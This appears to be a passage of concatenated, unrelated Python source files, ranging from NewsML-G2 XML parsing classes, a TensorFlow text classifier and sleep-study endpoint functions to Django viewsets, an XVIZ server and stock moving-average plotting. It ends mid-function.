calendar date with an optional time part which may be truncated from the seconds part to the month part """ pass """ """ class ConceptDefinitionGroup(BaseObject): """ A group of properites required to define the concept """ names = None definition = None note = None facet = None remote_info = None hierarchy_info = None def __init__(self, **kwargs): super(ConceptDefinitionGroup, self).__init__(**kwargs) xmlelement = kwargs.get('xmlelement') if type(xmlelement) == etree.Element: self.names = Names( xmlarray = xmlelement.findall(NEWSMLG2_NS+'name') ) self.definition = xmlelement.findtext(NEWSMLG2_NS+'definition') self.note = xmlelement.findtext(NEWSMLG2_NS+'note') self.facet = xmlelement.findtext(NEWSMLG2_NS+'facet') self.remote_info= xmlelement.findtext(NEWSMLG2_NS+'remoteInfo') self.hierarchy_info = xmlelement.findtext(NEWSMLG2_NS+'hierarchyInfo') def as_dict(self): super(ConceptDefinitionGroup, self).as_dict() if self.names: self.dict.update({'names': self.names.as_dict() }) if self.definition: self.dict.update({'definition': self.definition }) if self.note: self.dict.update({'note': self.note }) if self.facet: self.dict.update({'facet': self.facet }) if self.remote_info: self.dict.update({'remoteInfo': self.remote_info }) if self.hierarchy_info: self.dict.update({'hierarchyInfo': self.hierarchy_info }) return self.dict class ConceptRelationshipsGroup(BaseObject): """ A group of properites required to indicate relationships of the concept to other concepts """ pass """ TODO """ class FlexPropType(CommonAttributes, FlexAttributes, I18NAttributes): """ Flexible generic type for both controlled and uncontrolled values """ def __init__(self, **kwargs): super(FlexPropType, self).__init__(**kwargs) xmlelement = kwargs.get('xmlelement') if type(xmlelement) == etree.Element: self.names = Names( xmlarray = xmlelement.findall(NEWSMLG2_NS+'name') ) # TODO hierarchyInfo def as_dict(self, **kwargs): super(FlexPropType, self).as_dict() if self.names: self.dict.update({'names': self.names.as_dict() }) return self.dict class FlexLocationPropType(ConceptDefinitionGroup, FlexAttributes, CommonPowerAttributes, I18NAttributes): """ Flexible location (geopolitical area of point-of-interest) data type for both controlled and uncontrolled values plus: """ geo_area_details = None poi_details = None def __init__(self, **kwargs): super(FlexLocationPropType, self).__init__(**kwargs) xmlelement = kwargs.get('xmlelement') if type(xmlelement) == etree.Element: self.geo_area_details = GeoAreaDetails( # note camelCase element name, this is correct xmlelement = xmlelement.find(NEWSMLG2_NS+'geoAreaDetails') ) self.poi_details = POIDetails( # note case of element name, this is correct xmlelement = xmlelement.find(NEWSMLG2_NS+'POIDetails') ) """ # TODO """ def as_dict(self): super(FlexLocationPropType, self).as_dict() if self.geo_area_details: self.dict.update({'geoAreaDetails': self.geo_area_details.as_dict() }) if self.poi_details: self.dict.update({'POIDetails': self.poi_details.as_dict() }) return self.dict def __bool__(self): # TODO return self.geo_area_details is not None or self.poi_details is not None """ Extension point for provider-defined properties from other namespaces """ class Flex1PropType(ConceptDefinitionGroup, ConceptRelationshipsGroup, CommonPowerAttributes, FlexAttributes, I18NAttributes): """ Flexible generic PCL-type for both controlled and uncontrolled values """ pass class Flex1RolePropType(ConceptDefinitionGroup, ConceptRelationshipsGroup, CommonPowerAttributes, FlexAttributes, I18NAttributes): """ Flexible generic PCL-type for both controlled and uncontrolled values """ attributes = { # Refines the semantics of the property - expressed by a QCode 'role': 'role', # Refines the semantics of the property - expressed by a URI 'roleuri': 'roleuri' } class GeoAreaDetails(CommonPowerAttributes): """ A group of properties specific to a geopolitical area """ position = None # The date the geopolitical area was founded/established. founded = None # The date the geopolitical area was dissolved. dissolved = None lines = None line_positions = None circles = None circle_positions = None pass """ A line as a geographic area A circle as a geographic area The radius of the circle The dimension unit of the radius - expressed by a QCode / either the radunit or the radunituri attribute MUST be used The dimension unit of the radius - expressed by a URI / either the radunit or the radunituri attribute MUST be used A polygon as a geographic area Extension point for provider-defined properties from other namespaces """ def as_dict(self): return self.dict class Lines(BaseObject): """ Refines the semantics of line - expressed by a QCode Refines the semantics of line - expressed by a URI """ pass class Areas(BaseObject): pass class Country(Flex1PropType): """ A country part of the address. """ pass class PostalCode(IntlStringType): """ A postal code part of the address. """ pass class Address(CommonPowerAttributes): attributes = { # A refinement of the semantics of the postal address - expressed by a QCode 'role': 'role', # A refinement of the semantics of the postal address - expressed by a URI 'roleuri': 'roleuri' } # A line of address information, in the format expected by a recipient postal service. City, country area, country and postal code are expressed separately. lines = None localities = None # A subdivision of a country part of the address. areas = None # A country part of the address. country = None # A postal code part of the address. postal_code = None def __init__(self, **kwargs): super(Address, self).__init__(**kwargs) xmlelement = kwargs.get('xmlelement') if type(xmlelement) == etree.Element: self.lines = Lines( xmlarray = xmlelement.findall(NEWSMLG2_NS+'line') ) self.localities = Localities( xmlarray = xmlelement.findall(NEWSMLG2_NS+'locality') ) self.areas = Areas( xmlarray = xmlelement.findall(NEWSMLG2_NS+'area') ) self.country = Country( xmlelement = xmlelement.find(NEWSMLG2_NS+'country') ) self.postal_code = PostalCode( xmlelement = xmlelement.find(NEWSMLG2_NS+'postal-code') ) def as_dict(self): super(Address, self).as_dict() if self.lines: self.dict.update({'lines': self.lines.as_dict() }) if self.localities: self.dict.update({'localities': self.localities.as_dict() }) if self.areas: self.dict.update({'areas': self.areas.as_dict() }) if self.country: self.dict.update({'country': self.country.as_dict() }) if self.postal_code: self.dict.update({'postalCode': self.postal_code.as_dict() }) return self.dict class POIDetails(CommonPowerAttributes): """ A group of properties specific to a point of interest """ # The coordinates of the location position = None # A postal address for the location of a Point Of Interest address = None # Opening hours of the point of interest expressed in natural language open_hours = None # Total capacity of the point of interest expressed in natural language capacity = None # Information how to contact the point of interest. contact_info_set = None # Ways to access the place of the point of interest, including directions. access_set = None # Detailed information about the precise location of the Point of Interest. details_set = None # The date (and optionally the time) on which this Point of Interest was created created = None # The date (and optionally the time) on which this Point of Interest ceased to exist ceased_to_exist = None def __init__(self, **kwargs): super(POIDetails, self).__init__(**kwargs) xmlelement = kwargs.get('xmlelement') if type(xmlelement) == etree.Element: self.address = Address( xmlelement = xmlelement.find(NEWSMLG2_NS+'address') ) # TODO finish this def as_dict(self): super(POIDetails, self).as_dict() if self.address: self.dict.update({'address': self.address.as_dict() }) # TODO finish this return self.dict """ """ class Locality(Flex1RolePropType): """ A city/town/village etc. part of the address. """ pass """ address: A city/town/village etc. part of the address. A subdivision of a country part of the address. A country part of the address. A postal code part of the address. """ pass class Localities(GenericArray): """ A set of Locality objects. """ element_class = Locality class SameAs(FlexPropType, TimeValidityAttributes): """ The type for an identifier of an equivalent concept (Type defined in this XML Schema only) """ pass class RelatedConceptType(BaseObject): """ The type for an identifier of a related concept """ pass """ An identifier of a more generic concept. An identifier of a more specific concept. A related concept, where the relationship is different from 'sameAs', 'broader' or 'narrower'. """ class CatalogRef(BaseObject): """ A reference to a remote catalog. A hyperlink to a set of scheme alias declarations. """ attributes = { # A short natural language name for the catalog. 'title': 'title', # A hyperlink to a remote Catalog. 'href': 'href' } class CatalogRefs(GenericArray): """ A reference to document(s) listing externally-supplied controlled vocabularies. The catalog file can be in NewsML 1. """ element_class = CatalogRef #!/usr/bin/env python # -*- coding: utf-8 -*- __author__ = 'maxim' import os import numpy as np import tensorflow as tf from input import * ######################################################################################################################## # Data ######################################################################################################################## TF_IDF = False print('Building vocabulary...') provider = DataProvider('../data') provider.build(min_vocab_count=300) vocab_size = provider.vocab_size classes = provider.classes print('Vocab size=%d classes=%d' % (vocab_size, classes)) if TF_IDF: print('Building IDF...') _, idf = provider.build_tf_idf() print('IDF shape:', idf.shape) def encode(batch_x, batch_len): batch_size = batch_x.shape[0] count_array = np.zeros([batch_size, vocab_size]) for i in range(batch_size): unique, counts = np.unique(batch_x[i,:batch_len[i]], return_counts=True) for idx, num in zip(unique, counts): if idx >= 0: if TF_IDF: tf_ = np.log(num) + 1 if num > 0 else 0 count_array[i, idx] = tf_ * idf[idx] else: count_array[i, idx] = num return count_array ######################################################################################################################## # Model ######################################################################################################################## x = tf.placeholder(shape=[None, vocab_size], dtype=tf.float32, name='x') y = tf.placeholder(shape=[None], dtype=tf.int32, name='y') training = tf.placeholder_with_default(False, shape=[], name='training') reg = tf.contrib.layers.l2_regularizer(0.1) hidden1 = tf.layers.dense(x, units=128, kernel_regularizer=reg, activation=tf.nn.elu, name='hidden1') dropout1 = tf.layers.dropout(hidden1, rate=0.5, training=training, name='dropout1') logits = tf.layers.dense(dropout1, units=classes, kernel_regularizer=reg, activation=None, name='logits') loss = tf.reduce_mean(tf.nn.sparse_softmax_cross_entropy_with_logits(logits=logits, labels=y)) prediction = tf.argmax(logits, axis=1, name='prediction') predicted_distribution = tf.nn.softmax(logits, name='distribution') correct_predicted = tf.equal(tf.argmax(logits, 1), tf.cast(y, tf.int64), name='correct-prediction') wrong_predicted = tf.logical_not(correct_predicted, name='incorrect-prediction') x_misclassified = tf.boolean_mask(x, wrong_predicted, name='misclassified') accuracy = tf.reduce_mean(tf.cast(correct_predicted, tf.float32), name='accuracy') global_step = tf.Variable(0, dtype=tf.int32, trainable=False, name='global_step') optimizer = tf.train.AdamOptimizer() grads_and_vars = optimizer.compute_gradients(loss) train_op = optimizer.minimize(loss, global_step=global_step) tf.summary.scalar('loss', loss) tf.summary.scalar('accuracy', accuracy) tf.summary.histogram('x', x) tf.summary.histogram('hidden-activations-1', hidden1) tf.summary.histogram('logits', logits) tf.summary.histogram('predicted_distribution', predicted_distribution) for grad, var in grads_and_vars: name = var.name[:-2] tf.summary.histogram(name + '-var', var) tf.summary.histogram(name + '-grad', grad) merged = tf.summary.merge_all() ######################################################################################################################## # Training ######################################################################################################################## path = '_temp/dnn_%d' % int(TF_IDF) summary_path = os.path.join(path, 'summary') cur_ckpt_path = os.path.join(path, 'checkpoints', 'cur') top_ckpt_path = os.path.join(path, 'checkpoints', 'top') os.makedirs(summary_path, exist_ok=True) os.makedirs(cur_ckpt_path, exist_ok=True) os.makedirs(top_ckpt_path, exist_ok=True) cur_saver = tf.train.Saver(max_to_keep=3) top_saver = tf.train.Saver(max_to_keep=3) writer = tf.summary.FileWriter(summary_path, tf.get_default_graph()) def train_loop(): for batch_x, batch_y, batch_len in provider.stream_snippets(batch_size=1024, files=Files.TRAIN): train_step(batch_x, batch_y, batch_len) def train_step(batch_x, batch_y, batch_len): fetches = [train_op, loss, accuracy, merged, global_step] feed_dict = {x: encode(batch_x, batch_len), y: batch_y, training: True} _, loss_val, acc, summary, step = sess.run(fetches, feed_dict) step += 1 if step % 5 == 0: print('iteration=%d loss=%4.3f train-acc=%.5f' % (step, loss_val, acc)) writer.add_summary(summary, global_step=step) if step % 10 == 0: cur_saver.save(sess, os.path.join(cur_ckpt_path, 'current'), step) current_top_accuracy = 0.5 def predict(files): all_acc = [] for batch_x, batch_y, batch_len in provider.stream_snippets(batch_size=1024, files=files): acc = sess.run(accuracy, feed_dict={x: encode(batch_x, batch_len), y: batch_y}) all_acc.append(acc) mean_accuracy = np.mean(all_acc) marker = '' global current_top_accuracy if files == Files.VAL and mean_accuracy > current_top_accuracy: current_top_accuracy = mean_accuracy marker = ' !!!' step = sess.run(global_step) top_saver.save(sess, os.path.join(top_ckpt_path, 'top-%.5f' % mean_accuracy), step) print(files, 'mean accuracy = %.5f%s' % (mean_accuracy, marker)) def explore(files): for batch_x, batch_y, batch_len in provider.stream_snippets(batch_size=100, files=files): acc, pred, dist, idx = sess.run([accuracy, prediction, predicted_distribution, wrong_predicted], feed_dict={x: encode(batch_x, batch_len), y: batch_y}) if acc < 0.9: label_decoder = provider.labels.idx_to_token x_val = batch_x[idx] x_len = batch_len[idx] y_pred = pred[idx] y_correct = batch_y[idx] print('Misclassified snippets:') for i in range(x_val.shape[0]): with util.print_options(precision=4, suppress=True): print('Dist:', dist[i]) # print('Idx:', x_len[i], x_val[i,:x_len[i]]) print() print('Predicted=%s actual=%s' % (label_decoder[y_pred[i]], label_decoder[y_correct[i]])) print('~~~~~~~~~~~~~~ Snippet start ~~~~~~~~~~~~~~') print(provider.decode(snippet=x_val[i], length=x_len[i])) print('~~~~~~~~~~~~~~~ Snippet end ~~~~~~~~~~~~~~~') ######################################################################################################################## # Session ######################################################################################################################## with tf.Session() as sess: ckpt = tf.train.get_checkpoint_state(cur_ckpt_path) if ckpt and ckpt.model_checkpoint_path: cur_saver.restore(sess, ckpt.model_checkpoint_path) else: sess.run(tf.global_variables_initializer()) for epoch in range(50): print('\n--- Epoch %d ---\n' % (epoch + 1)) train_loop() writer.flush() predict(Files.VAL) predict(Files.TEST) 0 _author_ = 'fmoscato' import pymongo import bson ''' The Project_Mission Data Access Object handles all interactions with the project_mission collection. Name = name of the mission_projects URL = url where possible to find more informations regarding the mission_project (point to the ASI web page) ''' class ProjectMissionDAO: def __init__(self, db): self.db = db self.projects_missions = self.db.projects_missions def get_projects_missions(self): cursor = self.projects_missions.find().sort('name', direction=1) l = [] for project_mission in cursor: l.append({'id': str(project_mission['_id']), 'name': project_mission['name'], 'URL': project_mission['URL']}) return l def remove_project_mission(self, _id): try: self.projects_missions.remove({'_id': bson.ObjectId(oid=str(_id))}) except pymongo.errors.OperationFailure: print "oops, mongo error" return False return True # creates a new project_mission in the projects_missions collection def add_project_mission(self, **kwargs): project_mission = {'name': kwargs['name'], 'URL': kwargs['URL']} try: self.projects_missions.insert(project_mission) except pymongo.errors.OperationFailure: print "oops, mongo error" return False except pymongo.errors.DuplicateKeyError: print "oops, mission name is already taken" return False return True import pygments import pygments.lexers from pygments.filter import Filter from pygments.token import Token class UnwantedFilter(Filter): def __init__(self, **options): Filter.__init__(self, **options) def filter(self, lexer, stream): for ttype, value in stream: if ttype is Token.Text and (' ' in value or '\n' in value or '\r' in value or '\t' in value): continue elif ttype is Token.Punctuation: continue elif ttype.parent is Token.Comment: continue yield ttype, value class CPPTokenizer: def __init__(self, source): lexer = pygments.lexers.get_lexer_by_name('cpp') lexer.add_filter(UnwantedFilter()) self._current = None self._previous = None self._tokens = iter(pygments.lex(source, lexer)) def next(self): try: self._previous = self._current self._current = next(self._tokens) return self._current[0], self._current[1] except StopIteration: return None, None def prev(self): return self._current[0], self._current[1] # # Created on Sun Dec 12 2021 # # The MIT License (MIT) # Copyright (c) 2021 Maatuq # # Permission is hereby granted, free of charge, to any person obtaining a copy of this software # and associated documentation files (the "Software"), to deal in the Software without restriction, # including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, # and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, # subject to the following conditions: # # The above copyright notice and this permission notice shall be included in all copies or substantial # portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED # TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL # THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, # TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. # from typing import List from functools import lru_cache class Solution: def wordBreak(self, s: str, wordDict: List[str]) -> bool: @lru_cache(maxsize=None) def dp(s): if len(s) == 0: return True result = False for word in wordDict: if len(s) >= len(word): if s[0 : len(word)] == word: result |= dp(s[len(word) :]) elif s[len(s) - len(word) :] == word: result |= dp(s[0 : len(s) - len(word)]) return result return dp(s) s = "leetcode" wordDict = ["leet", "code"] solver = Solution() print(solver.wordBreak(s, wordDict)) src/biopsykit/sleep/sleep_endpoints/sleep_endpoints.py """Functions for computing sleep endpoints, i.e., parameters that characterize a recording during a sleep study.""" from numbers import Number from typing import Optional, Sequence, Union import numpy as np import pandas as pd from biopsykit.utils.datatype_helper import SleepEndpointDataFrame, SleepEndpointDict, _SleepEndpointDataFrame def compute_sleep_endpoints( sleep_wake: pd.DataFrame, bed_interval: Sequence[Union[str, int, np.datetime64]] ) -> SleepEndpointDict: """Compute a set of sleep endpoints based on sleep/wake information and time spent in bed. This functions computes the following sleep endpoints: * ``date``: date of recording if input data is time-aware, ``0`` otherwise. **NOTE**: If the participant went to bed between 12 am and 6 am (i.e, the beginning of ``bed_interval`` between 12 am and 6 am) ``date`` will be set to the day before (because this night is assumed to "belong" to the day before). * ``sleep_onset``: Sleep Onset, i.e., time of falling asleep, in absolute time * ``wake_onset``: Wake Onset, i.e., time of awakening, in absolute time * ``total_sleep_duration``: Total duration spent sleeping, i.e., the duration between the beginning of the first sleep interval and the end of the last sleep interval, in minutes * ``net_sleep_duration``: Net duration spent sleeping, in minutes * ``bed_interval_start``: Bed Interval Start, i.e., time when participant went to bed, in absolute time * ``bed_interval_end``: Bed Interval End, i.e., time when participant left bed, in absolute time * ``sleep_efficiency``: Sleep Efficiency, defined as the ratio between net sleep duration and total sleep duration in percent * ``sleep_onset_latency``: Sleep Onset Latency, i.e., time in bed needed to fall asleep (difference between *Sleep Onset* and *Bed Interval Start*), in minutes * ``getup_latency``: Get Up Latency, i.e., time in bed after awakening until getting up (difference between *Bed Interval End* and *Wake Onset*), in minutes * ``wake_after_sleep_onset``: Wake After Sleep Onset (WASO), i.e., total time awake after falling asleep (after *Sleep Onset* and before *Wake Onset*), in minutes * ``sleep_bouts``: List with start and end times of sleep bouts * ``wake_bouts``: List with start and end times of wake bouts * ``number_wake_bouts``: Total number of wake bouts Parameters ---------- sleep_wake : :class:`~pandas.DataFrame` dataframe with sleep/wake scoring of night. 0 is expected to indicate *sleep*, 1 to indicate *wake* bed_interval : array_like beginning and end of bed interval, i.e., the time spent in bed Returns ------- :obj:`~biopsykit.utils.datatype_helper.SleepEndpointDict` dictionary with computed sleep endpoints """ # slice sleep data = data between sleep onset and wake onset during bed interval sleep_wake = sleep_wake.loc[bed_interval[0] : bed_interval[1]] # total sleep duration = length of sleep data total_sleep_duration = len(sleep_wake) # net sleep duration in minutes = length of 'sleep' predictions (value 1) in sleep data net_sleep_time = sleep_wake[sleep_wake["sleep_wake"].eq(1)] net_sleep_duration = len(net_sleep_time) if net_sleep_time.empty: return {} df_sw_sleep = sleep_wake[net_sleep_time.index[0] : net_sleep_time.index[-1]].copy() # get percent of total time asleep sleep_efficiency = 100.0 * (len(net_sleep_time) / len(sleep_wake)) # wake after sleep onset = duration of wake during first and last 'sleep' sample wake_after_sleep_onset = len(df_sw_sleep) - int(df_sw_sleep.sum()[0]) df_sw_sleep["block"] = df_sw_sleep["sleep_wake"].diff().ne(0).cumsum() df_sw_sleep.reset_index(inplace=True) df_sw_sleep.rename(columns={"index": "time"}, inplace=True) bouts = df_sw_sleep.groupby(by="block") df_start_stop = bouts.first() df_start_stop.rename(columns={"time": "start"}, inplace=True) df_start_stop["end"] = bouts.last()["time"] # add 1 min to end for continuous time coverage if df_start_stop["end"].dtype == np.int64: df_start_stop["end"] = df_start_stop["end"] + 1 else: df_start_stop["end"] = df_start_stop["end"] + pd.Timedelta("1m") sleep_bouts = df_start_stop[df_start_stop["sleep_wake"].eq(1)].drop(columns=["sleep_wake"]).reset_index(drop=True) wake_bouts = df_start_stop[df_start_stop["sleep_wake"].ne(1)].drop(columns=["sleep_wake"]).reset_index(drop=True) num_wake_bouts = len(wake_bouts) sleep_onset = net_sleep_time.index[0] wake_onset = net_sleep_time.index[-1] # start and end of bed interval bed_start = bed_interval[0] bed_end = bed_interval[1] # sleep onset latency = duration between bed interval start and sleep onset sleep_onset_latency = len(sleep_wake[sleep_wake.index[0] : sleep_onset]) # getup latency = duration between wake onset (last 'sleep' sample) and bed interval end getup_latency = len(sleep_wake[wake_onset : sleep_wake.index[-1]]) if isinstance(bed_start, Number): date = 0 else: bed_start = str(bed_start) bed_end = str(bed_end) sleep_onset = str(sleep_onset) wake_onset = str(wake_onset) date = pd.to_datetime(bed_start) if date.hour < 6: date = date - pd.Timedelta("1d") date = str(date.normalize()) dict_result = { "date": date, "sleep_onset": sleep_onset, "wake_onset": wake_onset, "total_sleep_duration": total_sleep_duration, "net_sleep_duration": net_sleep_duration, "bed_interval_start": bed_start, "bed_interval_end": bed_end, "sleep_efficiency": sleep_efficiency, "sleep_onset_latency": sleep_onset_latency, "getup_latency": getup_latency, "wake_after_sleep_onset": wake_after_sleep_onset, "sleep_bouts": sleep_bouts, "wake_bouts": wake_bouts, "number_wake_bouts": num_wake_bouts, } return dict_result def endpoints_as_df(sleep_endpoints: SleepEndpointDict) -> Optional[SleepEndpointDataFrame]: """Convert ``SleepEndpointDict`` into ``SleepEndpointDataFrame``. Parameters ---------- sleep_endpoints : :obj:`~biopsykit.utils.datatype_helper.SleepEndpointDict` dictionary with computed Sleep Endpoints Returns ------- :obj:`~biopsykit.utils.datatype_helper.SleepEndpointDataFrame` dataframe with computed Sleep Endpoints or ``None`` if ``sleep_endpoints`` is ``None`` """ if sleep_endpoints is None: return None sleep_endpoints = sleep_endpoints.copy() sleep_bouts = sleep_endpoints.pop("sleep_bouts", None).values.tolist() wake_bouts = sleep_endpoints.pop("wake_bouts", None).values.tolist() sleep_bouts = [tuple(v) for v in sleep_bouts] wake_bouts = [tuple(v) for v in wake_bouts] index = pd.to_datetime(pd.Index([sleep_endpoints["date"]], name="date")) sleep_endpoints.pop("date") df = pd.DataFrame(sleep_endpoints, index=index) df.fillna(value=np.nan, inplace=True) df["sleep_bouts"] = None df["wake_bouts"] = None df.at[df.index[0], "sleep_bouts"] = sleep_bouts df.at[df.index[0], "wake_bouts"] = wake_bouts return _SleepEndpointDataFrame(df) import math import minimizer import datastructures import mc import globals import time # mc test mcdata = mc.generate() print(mcdata) # test start_hit = [globals.LENGTH/4.0, globals.LENGTH/4.0] #fac = math.sqrt(2.0) * 0.5 * globals.LENGTH / globals.SPEED #meas_time = [ fac * 1.05, fac * 0.95, fac * 0.9, fac * 1.1] #meas_errs = len(meas_time) * [ fac * 0.1 ] meas_puls = [datastructures.Pulse(i,mcdata[i]) for i in range(len(mcdata))] meas_hit = datastructures.Hit(meas_puls) start = time.time() minimizer.HitMinimizer(meas_hit) #, meas_errs, start_hit) eind = time.time() print 'Minimizer lasted %f seconds' % (eind - start) print('fit results:') print('x_start = %.5f; x = %.5f +/- %.5f' % (round(start_hit[0],5),round(meas_hit.x,5),round(meas_hit.x_err,5))) print('y_start = %.5f; y = %.5f +/- %.5f' % (round(start_hit[1],5),round(meas_hit.y,5),round(meas_hit.y_err,5))) print('chisquared = %.1f' % (round(meas_hit.chiSquared,5))) print('average arrival time from fitted point is %.5f +/- %.5f' % (round(meas_hit.time,5),round(meas_hit.time_err,5))) luisfarfan/django_intranetapp from django.http import JsonResponse from .serializer import * from .models import Rol from rest_framework.views import APIView from rest_framework import generics, viewsets class RolViewSet(viewsets.ModelViewSet): serializer_class = ModelRolSerializer queryset = Rol.objects.all() class ModuloRolViewSet(viewsets.ModelViewSet): serializer_class = RolSerializer queryset = Rol.objects.all() class PermisoViewSet(viewsets.ModelViewSet): serializer_class = PermisoSerializer queryset = Permiso.objects.all() import json from pathlib import Path import pandas as pd root = Path(__file__).parents[1] for gas in ["co2", "ch4", "n2o", "other"]: data = json.load(open(root / f"{gas}.json")) columns = ["Quarter"] + [ item["G1"] for item in data["results"][0]["result"]["data"]["dsr"]["DS"][0]["SH"][0]["DM1"] ] values = data["results"][0]["result"]["data"]["dsr"]["DS"][0]["PH"][0]["DM0"] rows = [ [item["G0"]] + [float(i["M0"] if "M0" in i else 0) for i in item["X"]] for item in values ] df = pd.DataFrame(rows, columns=columns) df["Quarter"] = df["Quarter"].apply( lambda x: pd.Timestamp(x, unit="ms").strftime("%B %Y") ) df = df.set_index("Quarter") df = df.round(2) df.to_csv(root / f"{gas}.csv") #!/usr/bin/python3 ##!/usr/bin/env python3 # -*- coding: utf-8 -*- ############################################################################# # @package ad_hmi # @brief xviz server of python package ad_hmi. ############################################################################# # @author # @copyright (c) All rights reserved. ############################################################################# import sys, os, logging import asyncio, json import traceback import time sys.path.append(os.path.join(os.path.dirname(__file__), '..')) from xviz_avs.server import XVIZServer, XVIZBaseSession from AdasScenario import AdasScenario # from dc_listener import DCListener class ScenarioSession(XVIZBaseSession): FPS = 20 # fps, 20Hz T_SLOT = 1 / FPS # task time slot def __init__(self, socket, request, scenario=AdasScenario()): super().__init__(socket, request) self._scenario = scenario self._socket = socket def on_connect(self): print("Connected!") self._scenario.on_connect() def on_disconnect(self): print("Disconnect!") self._scenario.on_disconnect() async def main(self): print('main') metadata = self._scenario.get_metadata() if metadata: await self._socket.send(metadata) t = 0 while True: t_start = time.time() message = self._scenario.get_message(t) if message: await self._socket.send(message) else: pass # print('x', end='') t_elapsed = time.time() - t_start t_sleep = 0 if self.T_SLOT > t_elapsed: t_sleep = self.T_SLOT - t_elapsed else: print('Data processing overtaken..., t_elapsed={: ^8,.6f}, T_SLOT={: ^8,.6f}'.format(t_elapsed, self.T_SLOT)) t += t_sleep await asyncio.sleep(t_sleep if not self._scenario.is_in_mp() else self.T_SLOT/10) class ScenarioHandler: def __init__(self): pass def __call__(self, socket, request): print('new session started, request=', request, ', socket local=', socket.local_address, ', remote=', socket.remote_address) return ScenarioSession(socket, request) if __name__ == "__main__": # init ros_listener # listener = DCListener() # listener.init_subscribe() # init logging handler = logging.StreamHandler(sys.stdout) handler.setLevel(logging.DEBUG) logging.getLogger("xviz-server").addHandler(handler) # init xviz_server server = XVIZServer(ScenarioHandler(), port=8081) # FIXME: config the host with api if possible. server._serve_options['host'] = '0.0.0.0' print('Server listen at {}:{} ...'.format(server._serve_options['host'], server._serve_options['port'])) if len(sys.argv) > 1 and sys.argv[1] == 'mp': AdasScenario.spawn_mp() # main loop loop = asyncio.get_event_loop() loop.run_until_complete(server.serve()) loop.run_forever() from typing import Dict, Any class Migration: version = '001' def __init__(self, context: Dict[str, Any]) -> None: self.context = context self.connection = context['connection'] self.schema = context['schema'] def schema_up(self) -> None: self.connection.execute( f"CREATE TABLE IF NOT EXISTS {self.schema}.employees(" "id serial PRIMARY KEY, " "name VARCHAR(255), " "age INT)") music_app/app/service.py0 import redis r = redis.Redis(host="127.0.0.1", port=6379, charset="utf-8", decode_responses=True) def counter(): key = "counter" r.incr(key) return r.get("counter") import numpy as np import pandas as pd from pandas.plotting import register_matplotlib_converters register_matplotlib_converters() import matplotlib.pyplot as plt import hmm_datapreparation as dataprep np.set_printoptions(precision=4) from scipy import optimize def get_exp_moving_avg(data,n_steps = 5): if type(data) == np.ndarray: try: data1 = pd.Series(data) except: raise ValueError('array data must be 1 dimensional only') elif type(data) == pd.DataFrame: data1 = data[list(data)[0]].copy() elif type(data) == pd.Series: data1 = data.copy() else: raise ValueError('data must be array or pandas series or dataframe') #print(data1.head) ema = data1.ewm(span=n_steps,adjust = False).mean() return ema def plot_tickers(data, ticker = 'MQG', mavgs = 'both',mavgs_colour = 'r',plot_show = True): """data input is csv file with one 'Date' column and one column named as specified by ticker mavgs = 'none', 'traders' ([3,5,8,10,15,20]), 'investors'([35,40,45,50,60]) or 'both' """ if not mavgs in ['none','traders','investors','both']: raise ValueError('Error: mavgs must be either "none", "traders", "investors" or "both"') data['Date'] = pd.to_datetime(data['Date']) if mavgs == 'both': trader_mavgs = [3,5,8,10,15,20] investor_mavgs = [35,40,45,50,60] plt.plot_date(data['Date'],data[ticker], 'k',linewidth = 1.0,zorder=10,label = ticker) for j in range(len(trader_mavgs)): if j==0: #just to add legend to one of the lines plt.plot_date(data['Date'],get_exp_moving_avg(data[ticker],n_steps = trader_mavgs[j]),'r',linewidth = 1.0,zorder=5,label = 'Traders') else: plt.plot_date(data['Date'],get_exp_moving_avg(data[ticker],n_steps = trader_mavgs[j]),'r',linewidth = 1.0,zorder=5) for j in range(len(investor_mavgs)): if j==0: plt.plot_date(data['Date'],get_exp_moving_avg(data[ticker],n_steps = investor_mavgs[j]),'b',linewidth = 1.0,zorder=0,label = 'Investors') else: plt.plot_date(data['Date'],get_exp_moving_avg(data[ticker],n_steps = investor_mavgs[j]),'b',linewidth = 1.0,zorder=0) else: if mavgs == 'none': mavgs = [] elif mavgs == 'traders': mavgs = [3,5,8,10,15,20] elif mavgs == 'investors': mavgs = [35,40,45,50,60] plt.plot_date(data['Date'],data[ticker], 'k',linewidth = 1.0,zorder=0,label = tickers[i]) #if len(mavgs)>0: for j in range(len(mavgs)): plt.plot_date(data['Date'],get_exp_moving_avg(data[ticker],n_steps = mavgs[j]),mavgs_colour,linewidth = 1.0,zorder=0) plt.grid(True) plt.ylabel('Closing price $AUD') plt.legend() if plot_show: plt.show() def get_movingavgs(data,ticker = 'MQG'): """data input is csv file with one 'Date' column and one column named ticker Returns two 1D arrays: (1. Guppy traders moving averages = [3,5,8,10,15,20], 2. Guppy investors moving averages = [35,40,45,50,60]) """ datanew = data[ticker] traders = [3,5,8,10,15,20] investors = [35,40,45,50,60] trader_ma = np.c_[get_exp_moving_avg(datanew,n_steps = traders[0])] for i in range(1,len(traders)): trader_ma = np.hstack((trader_ma,np.c_[get_exp_moving_avg(datanew,n_steps = traders[i])])) investor_ma = np.c_[get_exp_moving_avg(datanew,n_steps = investors[0])] for i in range(1,len(investors)): investor_ma = np.hstack((investor_ma,np.c_[get_exp_moving_avg(datanew,n_steps = investors[i])])) return (trader_ma,investor_ma) def read_multiple_tickers(tickers = ['MQG','BHP','CBA','TLS'], date_range = ['2020-01-01','2020-09-09'], dailyvalue = 'Close'): """ read in multiple stock tickers from Yahoo Finance and extract the date/price data tickers: list of asx tickers eg ['BHP'] date_range: list [start date, end date] dailyvalue: string 'Open','High','Low','Close' daily price value to extract (case sensitive) . returns: DataFrame . """ newticks = [item+'.AX' if ('^' not in item) else item for item in tickers] vals, percents, vocab = dataprep.get_stock_data(ticker = newticks[0], startdate = date_range[0], enddate = date_range[1], check_data = False) data = pd.DataFrame(vals.index.values, columns = ['Date']) data[tickers[0]] = vals[dailyvalue].values for i in range(1, len(newticks)): 